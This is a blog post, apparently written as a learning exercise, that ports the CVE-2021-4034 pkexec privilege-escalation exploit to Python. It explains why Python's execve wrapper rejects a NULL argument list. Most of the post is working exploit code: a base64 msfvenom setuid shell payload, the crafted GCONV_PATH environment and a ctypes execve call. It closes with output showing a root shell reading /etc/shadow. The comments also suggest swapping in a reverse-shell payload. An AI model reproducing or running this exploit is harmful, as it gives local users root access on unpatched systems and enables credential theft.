On 2022-01-25, Qualys dropped a 0-day local privilege escalation vulnerability in polkit’s pkexec that allowed a local user to escalate to root easily. blasty posted PoC code that evening. For my own learning and as an interesting exercise, I ported it to Python. The payload is generated with msfvenom, but the rest of the exploit code is pure Python. Due to limitations in Python’s os.execve() function, we do need to drop directly into the C library to call pkexec.

The code is available on my GitHub

Python’s os.execve() function

One key factor in the exploit working is in how the Linux execve() call handles when passed argv=NULL or envp=NULL. From https://man7.org/linux/man-pages/man2/execve.2.html#NOTES:

On Linux, argv and envp can be specified as NULL.  In both cases,
this has the same effect as specifying the argument as a pointer
to a list containing a single null pointer.  Do not take
advantage of this nonstandard and nonportable misfeature!  On
many other UNIX systems, specifying argv as NULL will result in
an error (EFAULT).  Some other UNIX systems treat the envp==NULL
case the same as Linux.

The Qualys writeup of the vulnerability details how calling pkexec with an argument list of NULL causes pkexec to overwrite a portion of it’s environment, allowing an attacker to introduce an potentially insecure environment variable back into the process. Unfortunately, Python’s os.execve() function doesn’t allow a process to be executed with an argument list of NULL:

p5550$ python
Python 3.10.2 (main, Jan 24 2022, 20:21:50) [GCC 11.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import os
>>> os.execve('/usr/bin/pkexec', None, os.environ)
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
TypeError: execve: argv must be a tuple or list
>>>
>>> os.execve('/usr/bin/pkexec', (), os.environ)
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
ValueError: execve: argv must not be empty
>>>

Attempting to call execve() with either an empty tuple or Null cause exceptions.

The exploit code

To facilitate using different payloads with the script, I used msfvenom to generate the shared library needed to perform the actual exploit. Using this path allows an attacker to drop in different payloads depending on their needs at the time. The default exploit calls setuid(0), then spans /bin/sh:

# Payload, base64 encoded ELF shared object. Generate with:
#
# msfvenom -p linux/x64/exec -f elf-so PrependSetuid=true | base64
#
# The PrependSetuid=true is important, without it you'll just get
# a shell as the user and not root.
#
# Should work with any msfvenom payload, tested with linux/x64/exec
# and linux/x64/shell_reverse_tcp

payload_b64 = b'''
f0VMRgIBAQAAAAAAAAAAAAMAPgABAAAAkgEAAAAAAABAAAAAAAAAALAAAAAAAAAAAAAAAEAAOAAC
AEAAAgABAAEAAAAHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAArwEAAAAAAADMAQAAAAAAAAAQ
AAAAAAAAAgAAAAcAAAAwAQAAAAAAADABAAAAAAAAMAEAAAAAAABgAAAAAAAAAGAAAAAAAAAAABAA
AAAAAAABAAAABgAAAAAAAAAAAAAAMAEAAAAAAAAwAQAAAAAAAGAAAAAAAAAAAAAAAAAAAAAIAAAA
AAAAAAcAAAAAAAAAAAAAAAMAAAAAAAAAAAAAAJABAAAAAAAAkAEAAAAAAAACAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAwAAAAAAAAAkgEAAAAAAAAFAAAAAAAAAJABAAAAAAAABgAAAAAA
AACQAQAAAAAAAAoAAAAAAAAAAAAAAAAAAAALAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAASDH/amlYDwVIuC9iaW4vc2gAmVBUX1JeajtYDwU=
'''
payload = base64.b64decode(payload_b64)

We also need the environment array to pass to execve(): we start with a list of Python strings, then convert them into a C array of char*.

# Set the environment for the call to execve()
environ = [
        b'exploit',
        b'PATH=GCONV_PATH=.',
        b'LC_MESSAGES=en_US.UTF-8',
        b'XAUTHORITY=../LOL',
        None
]

# Convert the environment to an array of char*
environ_p = (c_char_p * len(environ))()
environ_p[:] = environ

To call execve directly, we open the C library using the ctypes CDDL function:

# Find the C library to call execve() directly, as Python helpfully doesn't
# allow us to call execve() with no arguments.
try:
    libc = CDLL(find_library('c'))
except:
    print('[!] Unable to find the C library, wtf?')
    sys.exit()

and call execve with a NULL argument list and the environment array we built earlier:

# Call execve() with NULL arguments
libc.execve(b'/usr/bin/pkexec', c_char_p(None), environ_p)

And we get a root shell:

p5550$ python CVE-2021-4034.py
[+] Creating shared library for exploit code.
[+] Calling execve()
# id
uid=0(root) gid=1000(jra) groups=1000(jra),4(adm),27(sudo),119(lpadmin),998(lxd)
# whoami
root
# head /etc/shadow
root:*:18709:0:99999:7:::
daemon:*:18709:0:99999:7:::
bin:*:18709:0:99999:7:::
sys:*:18709:0:99999:7:::
sync:*:18709:0:99999:7:::
games:*:18709:0:99999:7:::
man:*:18709:0:99999:7:::
lp:*:18709:0:99999:7:::
mail:*:18709:0:99999:7:::
news:*:18709:0:99999:7:::
#